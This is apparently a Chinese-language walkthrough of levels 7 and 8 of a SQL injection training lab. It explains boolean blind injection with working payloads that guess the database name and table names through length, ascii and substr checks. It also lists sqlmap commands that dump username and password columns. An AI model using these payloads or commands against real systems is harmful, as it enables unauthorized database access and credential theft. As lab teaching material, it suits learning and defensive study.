第七关
1.审题
这里判断出是'))闭合,但是页面只有正确和错误的回显状态,报错的回显也是固定的,没有显示报错具体信息。
这关使用的方法是布尔盲注。为什么叫布尔盲注?因为它返回的结果只有true和false 两个值,攻击者需要通过返回的布尔值去猜测结果,就像盲人一样。
2.思考
(1)猜长度
length()函数是计算字符串长度,先构造一个简单的语句。
//判断当前数据库名的字符串长度是否大于10;
?id=1')) and length(database()) > 10 --+
通过页面回显,可以判断数据库名称长度大于5但是小于10,利用二分法最后猜测出数据库名的长为8个字符。
已经知道了数据库名的长,假设再去猜测每一位上的字符,是不是就可以得到数据库名称。
(2)猜位的字符
substr()函数作用是截取指定位置的字符,ascii()函数作用是返回字符的ascii码值(0-255范围的整数)。
//判断数据库名称的第一位字符是否在大写字母范围内;
?id=1')) and ascii(substr(database(),1,1)) between 65 and 90--+
虽然ascii码的值是从0-255,但字母A-Z的范围是65-90,a-z范围是97-122。首先判断字符是不是字母,然后进一步缩小猜测范围。
这里判断出第一位字符是小写字母,再利用二分法猜测具体字母,最后得出首字符是s。
那么通过逐步猜测,就可以拿到数据库的名称。再结合limit()函数去枚举数据库下的表名,字段,最后拿到想要的数据。
//查询当前数据库下第一张表的首位字符是否为小写字母;
?id=1')) and
ascii(
substr(
(select table_name
from information_schema.tables
where table_schema=database()
limit 0,1
),
1,1)
)
between 97 and 122 --+
3.做法
(1)手工注入
根据思考的逻辑去逐步猜测数据。
(2)工具注入
sqlmap的简单使用
//查询数据库
sqlmap -u 'http://xx.xx.xx/?id=1' --dbs
//查询指定数据库security中的表
sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' --tables
//查询指定表users中的字段
sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users' --columns
//查询指定字段的数据
sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users' -C'username,password' --dump
第8关
这里也只有两种页面显示,图二没有任何回显,但可以理解为报错,实际上这关把输出报错的代码注释掉了。
判断出是单引号闭合,利用布尔盲注解题。